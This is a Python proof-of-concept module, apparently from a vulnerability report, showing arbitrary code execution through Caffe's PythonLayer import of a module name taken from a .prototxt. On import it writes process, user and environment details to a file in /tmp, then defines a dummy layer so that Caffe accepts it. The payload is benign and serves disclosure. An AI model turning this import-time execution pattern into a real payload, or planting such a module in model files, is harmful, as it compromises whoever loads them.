| """ |
| PoC: Caffe PythonLayer Arbitrary Code Execution |
| ================================================ |
| This module is imported by Caffe when a .prototxt specifies a Python layer |
| with module="evil_layer". The top-level code executes immediately upon import. |
| |
| Vulnerability: layer_factory.cpp:295 |
| bp::import(param.python_param().module().c_str()) |
| |
| This calls Python's import mechanism with an attacker-controlled module name |
| from the .prototxt file. No sanitization, no allowlist, no sandboxing. |
| """ |
|
|
| import os |
| import sys |
|
|
| |
| proof_file = "/tmp/caffe_rce_proof.txt" |
| with open(proof_file, "w") as f: |
| f.write(f"Caffe PythonLayer RCE triggered!\n") |
| f.write(f"PID: {os.getpid()}\n") |
| f.write(f"UID: {os.getuid()}\n") |
| f.write(f"CWD: {os.getcwd()}\n") |
| f.write(f"Python: {sys.executable}\n") |
| f.write(f"User: {os.environ.get('USER', 'unknown')}\n") |
|
|
| print(f"[PoC] Code executed! Proof written to {proof_file}") |
|
|
| |
| |
| |
|
|
| import caffe |
|
|
| class ExploitLayer(caffe.Layer): |
| """Dummy layer to satisfy Caffe's PythonLayer requirements after import.""" |
| def setup(self, bottom, top): |
| top[0].reshape(1) |
| def reshape(self, bottom, top): |
| top[0].reshape(1) |
| def forward(self, bottom, top): |
| top[0].data[...] = 0 |
| def backward(self, top, propagate_down, bottom): |
| pass |
|
|